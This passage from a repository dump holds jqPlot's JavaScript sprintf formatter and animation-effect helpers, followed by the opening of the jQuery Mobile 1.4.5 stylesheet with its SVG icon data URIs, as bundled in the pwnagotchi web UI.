leftJustify); } else { value = value.slice(0, prefix.length) + pad('', diff, '0', true) + value.slice(prefix.length); } } return value; } function formatBaseX(value, base, prefix, leftJustify, minWidth, precision, zeroPad, htmlSpace) { // Note: casts negative numbers to positive ones var number = value >>> 0; prefix = prefix && number && {'2': '0b', '8': '0', '16': '0x'}[base] || ''; value = prefix + pad(number.toString(base), precision || 0, '0', false); return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace); } function formatString(value, leftJustify, minWidth, precision, zeroPad, htmlSpace) { if (precision != null) { value = value.slice(0, precision); } return justify(value, '', leftJustify, minWidth, zeroPad, htmlSpace); } var a = arguments, i = 0, format = a[i++]; return format.replace($.jqplot.sprintf.regex, function(substring, valueIndex, flags, minWidth, _, precision, type) { if (substring == '%%') { return '%'; } // parse flags var leftJustify = false, positivePrefix = '', zeroPad = false, prefixBaseX = false, htmlSpace = false, thousandSeparation = false; for (var j = 0; flags && j < flags.length; j++) switch (flags.charAt(j)) { case ' ': positivePrefix = ' '; break; case '+': positivePrefix = '+'; break; case '-': leftJustify = true; break; case '0': zeroPad = true; break; case '#': prefixBaseX = true; break; case '&': htmlSpace = true; break; case '\'': thousandSeparation = true; break; } // parameters may be null, undefined, empty-string or real valued // we want to ignore null, undefined and empty-string values if (!minWidth) { minWidth = 0; } else if (minWidth == '*') { minWidth = +a[i++]; } else if (minWidth.charAt(0) == '*') { minWidth = +a[minWidth.slice(1, -1)]; } else { minWidth = +minWidth; } // Note: undocumented perl feature: if (minWidth < 0) { minWidth = -minWidth; leftJustify = true; } if (!isFinite(minWidth)) { throw new Error('$.jqplot.sprintf: (minimum-)width must be finite'); } if (!precision) { precision = 'fFeE'.indexOf(type) > -1 ? 6 : (type == 'd') ? 0 : void(0); } else if (precision == '*') { precision = +a[i++]; } else if (precision.charAt(0) == '*') { precision = +a[precision.slice(1, -1)]; } else { precision = +precision; } // grab value using valueIndex if required? var value = valueIndex ? a[valueIndex.slice(0, -1)] : a[i++]; switch (type) { case 's': { if (value == null) { return ''; } return formatString(String(value), leftJustify, minWidth, precision, zeroPad, htmlSpace); } case 'c': return formatString(String.fromCharCode(+value), leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'b': return formatBaseX(value, 2, prefixBaseX, leftJustify, minWidth, precision, zeroPad,htmlSpace); case 'o': return formatBaseX(value, 8, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'x': return formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'X': return formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace).toUpperCase(); case 'u': return formatBaseX(value, 10, prefixBaseX, leftJustify, minWidth, precision, zeroPad, htmlSpace); case 'i': { var number = parseInt(+value, 10); if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var number_str = thousandSeparation ? thousand_separate(String(Math.abs(number))): String(Math.abs(number)); value = prefix + pad(number_str, precision, '0', false); //value = prefix + pad(String(Math.abs(number)), precision, '0', false); return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace); } case 'd': { var number = Math.round(+value); if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var number_str = thousandSeparation ? thousand_separate(String(Math.abs(number))): String(Math.abs(number)); value = prefix + pad(number_str, precision, '0', false); return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace); } case 'e': case 'E': case 'f': case 'F': case 'g': case 'G': { var number = +value; if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var method = ['toExponential', 'toFixed', 'toPrecision']['efg'.indexOf(type.toLowerCase())]; var textTransform = ['toString', 'toUpperCase']['eEfFgG'.indexOf(type) % 2]; var number_str = Math.abs(number)[method](precision); // Apply the decimal mark properly by splitting the number by the // decimalMark, applying thousands separator, and then placing it // back in. var parts = number_str.toString().split('.'); parts[0] = thousandSeparation ? thousand_separate(parts[0]) : parts[0]; number_str = parts.join($.jqplot.sprintf.decimalMark); value = prefix + number_str; var justified = justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace)[textTransform](); return justified; } case 'p': case 'P': { // make sure number is a number var number = +value; if (isNaN(number)) { return ''; } var prefix = number < 0 ? '-' : positivePrefix; var parts = String(Number(Math.abs(number)).toExponential()).split(/e|E/); var sd = (parts[0].indexOf('.') != -1) ? parts[0].length - 1 : String(number).length; var zeros = (parts[1] < 0) ? -parts[1] - 1 : 0; if (Math.abs(number) < 1) { if (sd + zeros <= precision) { value = prefix + Math.abs(number).toPrecision(sd); } else { if (sd <= precision - 1) { value = prefix + Math.abs(number).toExponential(sd-1); } else { value = prefix + Math.abs(number).toExponential(precision-1); } } } else { var prec = (sd <= precision) ? sd : precision; value = prefix + Math.abs(number).toPrecision(prec); } var textTransform = ['toString', 'toUpperCase']['pP'.indexOf(type) % 2]; return justify(value, prefix, leftJustify, minWidth, zeroPad, htmlSpace)[textTransform](); } case 'n': return ''; default: return substring; } }); }; $.jqplot.sprintf.thousandsSeparator = ','; // Specifies the decimal mark for floating point values. By default a period '.' // is used. If you change this value to for example a comma be sure to also // change the thousands separator or else this won't work since a simple String // replace is used (replacing all periods with the mark specified here). $.jqplot.sprintf.decimalMark = '.'; $.jqplot.sprintf.regex = /%%|%(\d+\$)?([-+#0&\' ]*)(\*\d+\$|\*|\d+)?(\.(\*\d+\$|\*|\d+))?([nAscboxXuidfegpEGP])/g; $.jqplot.getSignificantFigures = function(number) { var parts = String(Number(Math.abs(number)).toExponential()).split(/e|E/); // total significant digits var sd = (parts[0].indexOf('.') != -1) ? parts[0].length - 1 : parts[0].length; var zeros = (parts[1] < 0) ? -parts[1] - 1 : 0; // exponent var expn = parseInt(parts[1], 10); // digits to the left of the decimal place var dleft = (expn + 1 > 0) ? expn + 1 : 0; // digits to the right of the decimal place var dright = (sd <= dleft) ? 0 : sd - expn - 1; return {significantDigits: sd, digitsLeft: dleft, digitsRight: dright, zeros: zeros, exponent: expn} ; }; $.jqplot.getPrecision = function(number) { return $.jqplot.getSignificantFigures(number).digitsRight; }; var backCompat = $.uiBackCompat !== false; $.jqplot.effects = { effect: {} }; // prefix used for storing data on .data() var dataSpace = "jqplot.storage."; /******************************************************************************/ /*********************************** EFFECTS **********************************/ /******************************************************************************/ $.extend( $.jqplot.effects, { version: "1.9pre", // Saves a set of properties in a data storage save: function( element, set ) { for( var i=0; i < set.length; i++ ) { if ( set[ i ] !== null ) { element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] ); } } }, // Restores a set of previously saved properties from a data storage restore: function( element, set ) { for( var i=0; i < set.length; i++ ) { if ( set[ i ] !== null ) { element.css( set[ i ], element.data( dataSpace + set[ i ] ) ); } } }, setMode: function( el, mode ) { if (mode === "toggle") { mode = el.is( ":hidden" ) ? "show" : "hide"; } return mode; }, // Wraps the element around a wrapper that copies position properties createWrapper: function( element ) { // if the element is already wrapped, return it if ( element.parent().is( ".ui-effects-wrapper" )) { return element.parent(); } // wrap the element var props = { width: element.outerWidth(true), height: element.outerHeight(true), "float": element.css( "float" ) }, wrapper = $( "<div></div>" ) .addClass( "ui-effects-wrapper" ) .css({ fontSize: "100%", background: "transparent", border: "none", margin: 0, padding: 0 }), // Store the size in case width/height are defined in % - Fixes #5245 size = { width: element.width(), height: element.height() }, active = document.activeElement; element.wrap( wrapper ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).focus(); } wrapper = element.parent(); //Hotfix for jQuery 1.4 since some change in wrap() seems to actually loose the reference to the wrapped element // transfer positioning properties to the wrapper if ( element.css( "position" ) === "static" ) { wrapper.css({ position: "relative" }); element.css({ position: "relative" }); } else { $.extend( props, { position: element.css( "position" ), zIndex: element.css( "z-index" ) }); $.each([ "top", "left", "bottom", "right" ], function(i, pos) { props[ pos ] = element.css( pos ); if ( isNaN( parseInt( props[ pos ], 10 ) ) ) { props[ pos ] = "auto"; } }); element.css({ position: "relative", top: 0, left: 0, right: "auto", bottom: "auto" }); } element.css(size); return wrapper.css( props ).show(); }, removeWrapper: function( element ) { var active = document.activeElement; if ( element.parent().is( ".ui-effects-wrapper" ) ) { element.parent().replaceWith( element ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).focus(); } } return element; } }); // return an effect options object for the given parameters: function _normalizeArguments( effect, options, speed, callback ) { // short path for passing an effect options object: if ( $.isPlainObject( effect ) ) { return effect; } // convert to an object effect = { effect: effect }; // catch (effect) if ( options === undefined ) { options = {}; } // catch (effect, callback) if ( $.isFunction( options ) ) { callback = options; speed = null; options = {}; } // catch (effect, speed, ?) if ( $.type( options ) === "number" || $.fx.speeds[ options ]) { callback = speed; speed = options; options = {}; } // catch (effect, options, callback) if ( $.isFunction( speed ) ) { callback = speed; speed = null; } // add options to effect if ( options ) { $.extend( effect, options ); } speed = speed || options.duration; effect.duration = $.fx.off ? 0 : typeof speed === "number" ? speed : speed in $.fx.speeds ? $.fx.speeds[ speed ] : $.fx.speeds._default; effect.complete = callback || options.complete; return effect; } function standardSpeed( speed ) { // valid standard speeds if ( !speed || typeof speed === "number" || $.fx.speeds[ speed ] ) { return true; } // invalid strings - treat as "normal" speed if ( typeof speed === "string" && !$.jqplot.effects.effect[ speed ] ) { // TODO: remove in 2.0 (#7115) if ( backCompat && $.jqplot.effects[ speed ] ) { return false; } return true; } return false; } $.fn.extend({ jqplotEffect: function( effect, options, speed, callback ) { var args = _normalizeArguments.apply( this, arguments ), mode = args.mode, queue = args.queue, effectMethod = $.jqplot.effects.effect[ args.effect ], // DEPRECATED: remove in 2.0 (#7115) oldEffectMethod = !effectMethod && backCompat && $.jqplot.effects[ args.effect ]; if ( $.fx.off || !( effectMethod || oldEffectMethod ) ) { // delegate to the original method (e.g., .show()) if possible if ( mode ) { return this[ mode ]( args.duration, args.complete ); } else { return this.each( function() { if ( args.complete ) { args.complete.call( this ); } }); } } function run( next ) { var elem = $( this ), complete = args.complete, mode = args.mode; function done() { if ( $.isFunction( complete ) ) { complete.call( elem[0] ); } if ( $.isFunction( next ) ) { next(); } } // if the element is hiddden and mode is hide, // or element is visible and mode is show if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) { done(); } else { effectMethod.call( elem[0], args, done ); } } // TODO: remove this check in 2.0, effectMethod will always be true if ( effectMethod ) { return queue === false ? this.each( run ) : this.queue( queue || "fx", run ); } else { // DEPRECATED: remove in 2.0 (#7115) return oldEffectMethod.call(this, { options: args, duration: args.duration, callback: args.complete, mode: args.mode }); } } }); var rvertical = /up|down|vertical/, rpositivemotion = /up|left|vertical|horizontal/; $.jqplot.effects.effect.blind = function( o, done ) { // Create element var el = $( this ), props = [ "position", "top", "bottom", "left", "right", "height", "width" ], mode = $.jqplot.effects.setMode( el, o.mode || "hide" ), direction = o.direction || "up", vertical = rvertical.test( direction ), ref = vertical ? "height" : "width", ref2 = vertical ? "top" : "left", motion = rpositivemotion.test( direction ), animation = {}, show = mode === "show", wrapper, distance, top; // // if already wrapped, the wrapper's properties are my property. #6245 if ( el.parent().is( ".ui-effects-wrapper" ) ) { $.jqplot.effects.save( el.parent(), props ); } else { $.jqplot.effects.save( el, props ); } el.show(); top = parseInt(el.css('top'), 10); wrapper = $.jqplot.effects.createWrapper( el ).css({ overflow: "hidden" }); distance = vertical ? wrapper[ ref ]() + top : wrapper[ ref ](); animation[ ref ] = show ? String(distance) : '0'; if ( !motion ) { el .css( vertical ? "bottom" : "right", 0 ) .css( vertical ? "top" : "left", "" ) .css({ position: "absolute" }); animation[ ref2 ] = show ? '0' : String(distance); } // // start at 0 if we are showing if ( show ) { wrapper.css( ref, 0 ); if ( ! motion ) { wrapper.css( ref2, distance ); } } // // Animate wrapper.animate( animation, { duration: o.duration, easing: o.easing, queue: false, complete: function() { if ( mode === "hide" ) { el.hide(); } $.jqplot.effects.restore( el, props ); $.jqplot.effects.removeWrapper( el ); done(); } }); }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile-1.4.5.css ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ /* SVG icons */ .ui-icon-action:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M9%2C5v3l5-4L9%2C0v3c0%2C0-5%2C0-5%2C7C6%2C5%2C9%2C5%2C9%2C5z%20M11%2C12H2V5h1l2-2H0v11h13V7l-2%2C2V12z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-alert:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C0L0%2C12h14L7%2C0z%20M7%2C11c-0.553%2C0-1-0.447-1-1s0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1S7.553%2C11%2C7%2C11z%20M7%2C8%20C6.447%2C8%2C6%2C7.553%2C6%2C7V5c0-0.553%2C0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1v2C8%2C7.553%2C7.553%2C8%2C7%2C8z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C3%2011%2C0%203.5%2C7.5%200%2C4%200%2C14%2010%2C14%206.5%2C10.5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2210.5%2C7.5%203%2C0%200%2C3%207.5%2C10.5%204%2C14%2014%2C14%2014%2C4%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%229%2C7%209%2C0%205%2C0%205%2C7%200%2C7%207%2C14%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C5%207%2C0%200%2C7%207%2C14%207%2C9%2014%2C9%2014%2C5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C7%207%2C0%207%2C5%200%2C5%200%2C9%207%2C9%207%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C11%206.5%2C3.5%2010%2C0%200%2C0%200%2C10%203.5%2C6.5%2011%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C0%204%2C0%207.5%2C3.5%200%2C11%203%2C14%2010.5%2C6.5%2014%2C10%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C0%200%2C7%205%2C7%205%2C14%209%2C14%209%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-audio:after { background-image: 